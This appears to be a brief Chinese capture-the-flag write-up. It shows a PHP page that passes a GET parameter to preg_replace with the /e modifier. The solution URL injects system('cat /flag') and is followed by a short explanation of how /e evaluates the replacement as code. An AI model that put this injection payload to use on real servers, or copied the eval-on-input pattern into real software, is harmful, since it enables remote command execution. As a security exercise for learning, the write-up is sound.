源码

<?php
if (isset($_GET['name'])) {
$subject = 'hello hack';
$pattern = '/hack/e';
$replacement = $_GET['name'];
echo preg_replace($pattern, $replacement, $subject);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在函数preg_replace()存在/e选项 ,可以执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32820/?name=system(%27cat%20/flag%27);

知识点

在 PHP 的 preg_replace() 函数中,/e 是一个修饰符,表示对替换部分进行 eval() 处理,也就是说,替换部分会被当作 PHP 代码执行。

如果传入 system('ls') 作为替换部分,那么 preg_replace() 将会执行 system('ls') 命令,并将结果用于替换匹配到的部分。

$pattern = '/hack/e';
$replacement = 'system("ls")';
$subject = 'hack';
echo preg_replace($pattern, $replacement, $subject);

在这个例子中,preg_replace() 将会找到 hack,然后执行 system('ls'),并将结果用于替换 hack